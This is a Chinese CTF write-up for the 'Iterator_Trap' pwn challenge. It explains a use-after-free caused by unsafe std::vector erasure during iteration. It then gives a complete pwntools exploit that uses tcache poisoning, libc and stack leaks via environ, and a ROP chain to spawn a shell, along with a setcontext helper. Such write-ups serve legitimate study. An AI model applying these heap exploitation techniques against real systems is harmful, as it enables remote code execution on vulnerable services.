题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap

Iterator_Trap

这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目

题目逻辑

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
  std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
  std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  std::vector<void *>::vector(&chunklist);
  std::vector<int>::vector(&sizelist);
  init();
  gift();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 3 )
        break;
      edit_func(&chunklist, &sizelist);
    }
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      create_func(&chunklist, &sizelist);
    }
    else
    {
      if ( choice != 2 )
        break;
      delete_func(&chunklist, &sizelist);
    }
  }
  exit(0);
}

void __cdecl menu()
{
  puts("[1] void create(__uint32_t size,char *content)");
  puts("[2] void delete(__uint32_t idx)");
  puts("[3] void edit(__uint32_t idx,char *content)");
  printf(">>> ");
}

void __cdecl gift()
{
  void *v0; // rax

  v0 = sbrk(0LL);
  printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}

void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<int>::size_type v2; // rdx
  __gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
  std::vector<void*>::size_type v4; // rdx
  char **v5; // rax
  int size; // [rsp+1Ch] [rbp-24h] BYREF
  std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF

  __x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
  puts("size: ");
  __isoc99_scanf("%d", &size);
  __x[0] = malloc(size);
  std::vector<void *>::push_back(chunklist, __x);
  std::vector<int>::push_back(sizelist, &size);
  puts("content: ");
  v2 = std::vector<int>::size(sizelist) - 1;
  v3 = *std::vector<int>::operator[](sizelist, v2);
  v4 = std::vector<void *>::size(chunklist) - 1;
  v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
  my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
  size_t v4; // rdx
  char ch_0; // [rsp+17h] [rbp-19h] BYREF
  size_t total_read; // [rsp+18h] [rbp-18h]
  ssize_t bytes_read; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( size <= 0 || !buf )
    return -1LL;
  total_read = 0LL;
  while ( total_read < size - 1 )
  {
    bytes_read = read(fd, &ch_0, 1uLL);
    if ( ch_0 == 10 )
      break;
    v4 = total_read++;
    buf[v4] = ch_0;
  }
  return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<void*>::size_type M_current_low; // rbx
  void **v4; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
  __gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

  idx[1]._M_current = (void *const *)__readfsqword(0x28u);
  for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
  {
    if ( *std::vector<int>::operator[](sizelist, i) == -1 )
    {
      v6._M_current = std::vector<int>::begin(sizelist)._M_current;
      __i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
        (__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
        &__i);
      std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
      v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
      __i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
                                (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
                                i)._M_current;
      __gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
        idx,
        (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
      std::vector<void *>::erase(chunklist, idx[0]);
    }
  }
  puts("idx: ");
  __isoc99_scanf("%d", idx);
  if ( SLODWORD(idx[0]._M_current) >= 0
    && (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
  {
    v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
    free(*v4);
    *std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
    puts("success");
  }
  else
  {
    puts("error");
  }
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node7.anna.nssctf.cn"
PORT = 23086

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def create(size,content):
    sla(">>>","1")
    sla("size:",str(size))
    sla("content",content)

def delete(idx):
    sla(">>>","2")
    sla("idx:",str(idx))

def edit(idx,content = null):
    sla(">>>","3")
    sla("idx:",str(idx))
    if content == null:
        return
    sa("content: ",content)

ru("gift: ")
heap_base = int(rl()[:-1],16) - 0x21000
success(f"heap_base ->{hex(heap_base)}")

create(0x58,"padding") 
create(0x58,"padding")

for i in range(7):
    create(0x48,"tcache")
for i in range(2**9+2**8):
    create(-1, b"")


create(0x48,"fastbin")
create(0x48,"fastbin")

for i in range(7):
    delete(2) # refill tcache

delete(5)
delete(4)
delete(2)


for i in range(7):
    create(0x48,"tcahce") # clean up tcache


pos = heap_base + 0x120f0
vector_addr = heap_base + 0x14260 # &vector[0]
payload = (pos >> 12) ^ vector_addr 

create(0x48,p64(payload))
create(0x48,"AAAAAAAA")
create(0x48,p64(payload))
create(0x48,p64(0x114514)) # 12


create(0x7b8,"unsortedbin")
create(0x58,"padding")
delete(13)

unsortedbin_fd = heap_base + 0x12a90
edit(12,p64(unsortedbin_fd))
edit(0,b"\xe0")
ru("success: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
success(hex(libc_base))

environ = libc_base + libc.sym['__environ']
edit(12,p64(environ - 0x8))
edit(0,"A" * 8) # leak stack 
ru("success: ")
ru("A" * 0x8)
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) # read func
edit(12,p64(return_addr))

ret = libc_base + 0x00000000000baaf9
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# g(p)
edit(0,payload)


p.interactive()
2024-08-31
Contents
  1. Iterator_Trap

⬆︎TOP